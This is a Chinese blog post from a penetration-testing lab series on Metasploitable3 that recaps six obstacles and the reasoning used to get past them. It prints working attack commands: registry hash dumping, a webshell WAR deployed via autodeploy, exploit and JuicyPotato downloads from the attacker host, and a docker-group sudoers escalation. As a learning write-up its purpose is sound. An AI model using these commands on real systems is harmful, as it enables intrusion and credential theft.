iT邦幫忙

2026 iThome 鐵人賽

DAY 24
0
Claude AI

打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記系列 第 24 篇

M3 卡關復盤:我當時卡在哪裡、怎麼突破的

  • 分享至 

  • xImage
  •  

這篇要做的事是真正的復盤——不是再列一次清單,而是還原我在幾個關鍵卡關點上的思考過程。我怎麼從「完全不知道怎麼辦」走到「哦,原來可以這樣」。

突破的四種模式
回顧整個 M3 攻擊過程,我發現所有突破都可以歸入四種思維模式:

突破模式分類
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  模式 A:換條路做同一件事
  ────────────────────────────────────────
  目標不變,工具/方法換掉
  觸發條件:「這個工具做不到,有沒有別的?」

  模式 B:繞過障礙物
  ────────────────────────────────────────
  發現正面攻不動,從旁邊繞過去
  觸發條件:「既然這條路走不通,有沒有別的入口?」

  模式 C:利用已有的立足點
  ────────────────────────────────────────
  手上已經有的權限或 session 能幫你打開新的路
  觸發條件:「我現在手上有什麼資源可以用?」

  模式 D:從細節裡挖出線索
  ────────────────────────────────────────
  答案其實就在某個輸出裡,但你第一次沒看到
  觸發條件:「我是不是漏看了什麼?」

突破 #1:Java Meterpreter 做不到 hashdump,那就手動來

模式 A:換條路做同一件事

  卡住  →  hashdump 指令不支援
  突破  →  drop to shell + reg save 手動匯出
  耗時  →  卡 15 min → 突破後 5 min 完成

當時發生了什麼

打下 Elasticsearch(Windows),拿到 Meterpreter session,輸入 hashdump:

meterpreter > hashdump
[-] The "hashdump" command is not supported by this Meterpreter type.

這是我第一次遇到 Meterpreter 說「不支援」。在此之前打 Metasploitable2 全是 Native payload,所有指令都能用。我的第一反應是——是不是我操作有誤?

我的思考過程

腦內對話:

  「hashdump 不支援?是不是 session 有問題?」
  → 試了 getprivs、getsystem,全都不支援
  → 不是個別指令的問題,是整個 session 能力受限

  「為什麼能力受限?」
  → 看 payload 名稱:java/meterpreter/reverse_tcp
  → 是 Java payload,不是 Windows native

  「Java Meterpreter 沒有這些功能,那我的目標是什麼?」
  → 我要的不是 hashdump 這個指令
  → 我要的是 SAM 和 SYSTEM 這兩個檔案
  → hashdump 只是「取得雜湊」的一種方式

  「還有什麼方式可以拿到同一個東西?」
  → reg save 可以匯出 SAM → 這個只需要 cmd shell
  → Java Meterpreter 的 shell 指令還是能用的!

突破瞬間

關鍵轉折是這一句:我要的不是 hashdump,我要的是 SAM 檔案。

當你把需求從「工具的指令」拉回到「實際的目標」,解法空間就打開了。hashdump 做的事是讀 SAM + SYSTEM → 算出 hash。那我直接把 SAM 和 SYSTEM 拉回來,用 Kali 上的 impacket-secretsdump 解,結果完全一樣。

突破後的執行:

  meterpreter > shell
  C:\> reg save HKLM\SAM C:\Windows\Temp\sam.bak
  C:\> reg save HKLM\SYSTEM C:\Windows\Temp\sys.bak
  C:\> exit

  meterpreter > download "C:\\Windows\\Temp\\sam.bak" /tmp/sam.bak
  meterpreter > download "C:\\Windows\\Temp\\sys.bak" /tmp/sys.bak

  # Kali
  impacket-secretsdump -sam /tmp/sam.bak -system /tmp/sys.bak LOCAL

可帶走的一句話

  • 工具不支援某個指令,不代表那件事做不到——把需求從「指令」翻譯回「目標」,通常就能找到替代路徑。

突破 #2:GlassFish SSL 過期,管理介面進不去

模式 B:繞過障礙物

  卡住  →  asadmin / 管理頁面因 SSL 憑證過期全部報錯
  突破  →  不走管理介面,直接寫 autodeploy 目錄
  耗時  →  卡 20 min → 換思路後 10 min 部署成功

當時發生了什麼

GlassFish 4.0 的管理頁面在 port 4848(HTTPS)。所有正常的管理方式——瀏覽器登入、asadmin 指令——全部噴出同一個錯誤:

javax.net.ssl.SSLHandshakeException:
  java.security.cert.CertificateExpiredException:
  NotAfter: Fri May 12 22:33:38 PDT 2023

SSL 憑證在 2023 年 5 月過期了。試了 --secure=false、試了 --insecure,全部沒用。Google 了一堆 workaround,都是要你重新生成憑證——但我是攻擊者,我沒有管理員權限來重裝憑證。
我的思考過程

腦內對話:

  「SSL 過期,管理介面進不去,是不是這台就打不了了?」
  → 差點就要放棄 GlassFish 這條線

  「等等,我的目標是什麼?」
  → 不是「登入管理介面」
  → 是「把 WAR 丟進 GlassFish 讓它執行」

  「部署 WAR 除了管理介面,還有什麼方法?」
  → autodeploy 目錄!
  → GlassFish 會自動部署放進 autodeploy/ 的 WAR 檔

  「但我怎麼把檔案放進那個目錄?」
  → 我手上已經有 vagrant 的 evil-winrm session
  → 可以直接上傳到 autodeploy 目錄

突破瞬間

我差一步就要跳過 GlassFish,把它標記成「無法攻破」。但我問了一個好問題:我的目標是「登入管理介面」還是「部署 WAR」?

管理介面只是部署 WAR 的一種途徑。一旦把問題重新定義成「如何讓 GlassFish 執行我的 WAR」,autodeploy 目錄就是顯而易見的答案。

突破後的動作:

  目標路徑:
    C:\glassfish4\glassfish\domains\domain1\autodeploy\

  +-------------------------------------------+
  |  evil-winrm(vagrant)                    |
  |                                           |
  |  upload shell.war shell.war               |
  |  cmd /c "move shell.war C:\glassfish...\  |
  |          autodeploy\shell.war"            |
  +-------------------------------------------+
              │
              ▼
  GlassFish 自動掃描 autodeploy → 部署 WAR → Webshell 上線

可帶走的一句話

  • 正門進不去不代表打不下——先問「有幾扇門」,再決定要不要放棄。

突破 #3:/tmp 掛了 noexec,exploit 編譯完跑不起來

模式 A:換條路做同一件事

  卡住  →  /tmp 有 noexec 旗標,編譯好的 exploit 無法執行
  突破  →  換到 /var/tmp 或使用者家目錄
  耗時  →  卡 20 min → 這是整段攻擊中最久的一次

當時發生了什麼

overlayfs 提權是 Linux 端所有低權限 shell 的出路。下載 exploit、編譯成功、chmod +x、執行

$ cd /tmp
$ wget http://192.168.145.144:8888/37292.c -O ofs.c
$ gcc -o ofs ofs.c
$ chmod +x ofs
$ ./ofs
bash: ./ofs: Permission denied

Permission denied。我有執行權限(chmod +x 了),檔案也在(ls 看得到),但就是不給跑。

這是整個 M3 過程中最讓我困惑的一次,因為錯誤訊息完全沒有提示你真正的問題在哪。

我的思考過程

腦內對話:

  「Permission denied?是不是 chmod 沒成功?」
  → ls -la ofs → -rwxr-xr-x,權限明明有 x

  「是不是 gcc 編譯有問題,產出的不是可執行檔?」
  → file ofs → ELF 64-bit LSB executable,確實是可執行檔

  「那為什麼 Permission denied?」
  → ……在這裡卡了十分鐘,反覆試
  → 換了路徑名、換了檔名、重新編譯,都一樣

  「會不會不是檔案的問題,而是目錄的問題?」
  → mount | grep /tmp
  → tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec)
  → noexec!!!

  「原來是 /tmp 整個分割區都禁止執行任何檔案」
  → 那換個目錄就好了

突破瞬間

卡了十多分鐘,反覆檢查檔案本身的權限,完全沒往「掛載選項」想。直到我把診斷範圍從「檔案」擴大到「檔案系統」,一行 mount 就看到答案。

教訓:Permission denied 不只是檔案權限的問題,還可能是整個分割區的限制。

突破後的流程:

  /tmp (noexec)          /var/tmp (可執行)
  ┌──────────┐          ┌──────────┐
  │ ofs.c    │ ──cp──→  │ ofs.c    │
  │ ofs ✗    │          │ gcc → ofs│
  │ 無法執行  │          │ ./ofs ✓  │
  └──────────┘          └──────────┘
                              │
                              ▼
                         uid=0(root)

可帶走的一句話

  • 當你盯著某一層怎麼看都沒問題,往上退一層——也許限制不在你以為的地方。

突破 #4:Jenkins 是 LOCAL SERVICE,寫不進常用目錄

模式 A + C:換路 + 利用已有工具

  卡住  →  certutil 下載 JuicyPotato 到 C:\Windows\Temp → Access Denied
  突破  →  改寫到 C:\Users\Public + 用 Groovy Java API 取代 certutil
  耗時  →  卡 10 min

當時發生了什麼
Jenkins Script Console 跑在 LOCAL SERVICE 身份下。我需要下載 JuicyPotato 進行提權,用了 Windows 上最常見的下載方式:

certutil -urlcache -f http://192.168.145.144:8888/jp.exe C:\Windows\Temp\jp.exe
→ error: 0x80070005 Access is denied

我的思考過程

腦內對話:

  「Access Denied?LOCAL SERVICE 連 Temp 都寫不了?」
  → 在 Metasploitable2 上這招一直好用啊
  → 那是因為 MS2 拿到的都是 root / SYSTEM

  「LOCAL SERVICE 到底能寫哪裡?」
  → 想了幾個常見目錄:
     C:\Windows\Temp  → 不行,剛剛試了
     C:\Users\Public  → 這個通常所有人都能寫
  → 試 C:\Users\Public → 成功了!

  「但 certutil 可能本身也有問題,有更可靠的下載方式嗎?」
  → 我在 Groovy 裡面耶
  → Groovy 就是 Java → 可以用 Java 原生 API 下載
  → 不需要依賴外部指令

突破瞬間

這次突破分兩步。第一步是意識到不同的服務帳號有不同的檔案系統權限——不是拿到 shell 就能為所欲為。第二步是意識到我在 Groovy 環境裡,Java 本身就是我的工具箱,不需要非得靠 certutil。

// 最終解法:Groovy 原生下載到 C:\Users\Public
def file = new File("C:/Users/Public/jp.exe")
file.bytes = new URL("http://192.168.145.144:8888/jp.exe").bytes
file.exists()    // → true

可帶走的一句話

  • 先問「我現在是誰」再決定「我能做什麼」——Windows 的身份體系比 Linux 更碎片化,一個帳號不代表一組固定的能力。

突破 #5:MySQL 只聽 localhost,從外面根本連不上

模式 C:利用已有的立足點

  卡住  →  MySQL 3306 只監聽 127.0.0.1,Kali 無法直接連線
  突破  →  SSH 隧道轉發,把遠端的 localhost 映射到本機
  耗時  →  卡 10 min(主要是回頭看掃描結果確認)

當時發生了什麼

掃描結果顯示 MySQL 3306 開著,嘗試連線:

mysql -h 192.168.145.145 -u root -psploitme
→ ERROR 2003 (HY000): Can't connect to MySQL server

我的思考過程

腦內對話:

  「MySQL 連不上?密碼不對?」
  → 密碼是從 payroll_app.php 原始碼拿到的,應該沒錯

  「是不是 MySQL 沒開?」
  → Nmap 掃到 3306 是 open 的

  「掃描結果有沒有漏看什麼?」
  → 回去看 Nmap 詳細輸出:
     3306/tcp open  mysql  MySQL 5.5.x
  → 但如果從目標機內部看呢?
  → netstat 顯示 127.0.0.1:3306 — 只監聽本地

  「我有辦法從目標內部連線嗎?」
  → 我有 SSH 帳號(vagrant:vagrant)
  → SSH 隧道!

  ssh -f -N -L 33306:127.0.0.1:3306 vagrant@192.168.145.145
  → 現在 Kali 的 33306 → 目標的 127.0.0.1:3306

  mysql -h 127.0.0.1 -P 33306 -u root -psploitme
  → 連上了!

突破瞬間

這次的關鍵是問:我手上有什麼已經能用的東西?

答案是一個 SSH 帳號。SSH 隧道不是什麼高深技術,但你必須先意識到你有這個資源可以用。很多人手上握著三個 session、兩組帳密,卻還在試著從外部直接打——忘了自己已經在門裡面了

可帶走的一句話

  • 每拿到一個立足點都問自己:「這個立足點除了它本來的用途,還能幫我做什麼?」

突破 #6:Docker group——最意外的提權路

模式 D:從細節裡挖出線索

  卡住  →  chewbacca 是一般使用者,沒有 sudo 權限,提權怎麼辦
  突破  →  id 指令的輸出裡藏著答案:groups=999(docker)
  耗時  →  差點跳過這個線索

當時發生了什麼
透過 Rails Web Console 拿到 chewbacca 的身份。確認一下是誰:

uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)

第一次看到這行的時候,我的眼睛掃過去:「chewbacca,普通使用者,groups 有 users 和 docker……」然後我就去試 sudo -l 了。

我的思考過程

腦內對話:

  「sudo -l → 不行,沒有 sudo 權限」
  「SUID 檔案 → find / -perm -4000 → 沒有可利用的」
  「cron jobs → 沒看到可寫的排程」
  「內核漏洞 → overlayfs 可以,但想試別的路」

  ──中場休息,重新看筆記──

  「等等,剛才 id 的輸出是什麼來著?」
  → groups=100(users),999(docker)
  → docker?!

  「docker group 成員可以啟動容器」
  → 啟動容器可以掛載主機的 /
  → 容器內是 root
  → 可以直接改主機的 /etc/sudoers

  「這不就是一條直通 root 的路嗎?」

突破瞬間

id 這條指令幾乎每次拿到 shell 都會打,但真正逐字讀完它的輸出,包括 groups 裡每一個名字,不是每個人都做到了。

docker group 是一個已知的提權向量——這不是什麼 0-day 知識,但前提是你要看到它。

Docker Group 提權流程:

  chewbacca (docker group)
       │
       ▼
  docker run -v /:/mnt --rm ubuntu bash -c \
    'echo "chewbacca ALL=(ALL) NOPASSWD:ALL" >> /mnt/etc/sudoers'
       │
       │  容器以 root 執行
       │  主機 / 掛載在 /mnt
       │  寫入主機的 sudoers
       │
       ▼
  sudo bash → root

可帶走的一句話

  • 線索不會主動跳出來——養成逐字讀 id、groups、env 輸出的習慣,尤其是那些你覺得「不重要」的欄位。

復盤:每次突破前我都問了什麼

六個突破有一個共通點:在卡住和突破之間,都有一個「好問題」

突破前的關鍵問題清單:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  #1  「我真正要的是 hashdump 還是 SAM 檔案?」
       → 把需求從指令拉回到目標

  #2  「部署 WAR 除了管理介面還有什麼方法?」
       → 列舉所有可能的途徑

  #3  「限制是在檔案上還是在檔案系統上?」
       → 把診斷範圍往上提一層

  #4  「我現在是什麼身份、能寫哪裡?」
       → 確認當前的實際能力邊界

  #5  「我手上已經有什麼資源可以用?」
       → 盤點已有的立足點

  #6  「id 的每一個欄位我都看了嗎?」
       → 強迫自己讀完整個輸出

如果你把這六個問題內化成反射動作,下次卡住時,至少有六個方向可以嘗試。


卡關時的自問清單

把上面的經驗壓縮成一張可以貼在螢幕旁邊的清單:

┌─────────────────────────────────────────────────────┐
│            卡住了?問自己這六個問題                    │
├─────────────────────────────────────────────────────┤
│                                                     │
│  1. 我真正的目標是什麼?(不是指令,是結果)           │
│                                                     │
│  2. 同一個目標有幾種達成方式?(至少想三種)            │
│                                                     │
│  3. 限制在哪一層?(檔案?目錄?掛載?帳號?網路?)    │
│                                                     │
│  4. 我現在是誰?能做什麼、不能做什麼?                 │
│                                                     │
│  5. 我手上有哪些已拿到的資源還沒用上?                  │
│                                                     │
│  6. 上一次的輸出我真的逐字讀完了嗎?                   │
│                                                     │
└─────────────────────────────────────────────────────┘

小結

  • 所有突破都來自一個「好問題」,不是來自一個「新工具」
  • 最常見的突破模式是「換條路做同一件事」,前提是你清楚自己的目標不是某條指令
  • 手上已有的資源(session、帳號、環境本身)經常被忽略
  • 輸出沒看完是最容易犯、也最容易修正的錯誤

上一篇
M3 攻擊實錄(二):三條攻擊鏈深度拆解
下一篇
M3 卡關除錯:回頭檢視掃描結果找突破口
系列文
打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記 共 27 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言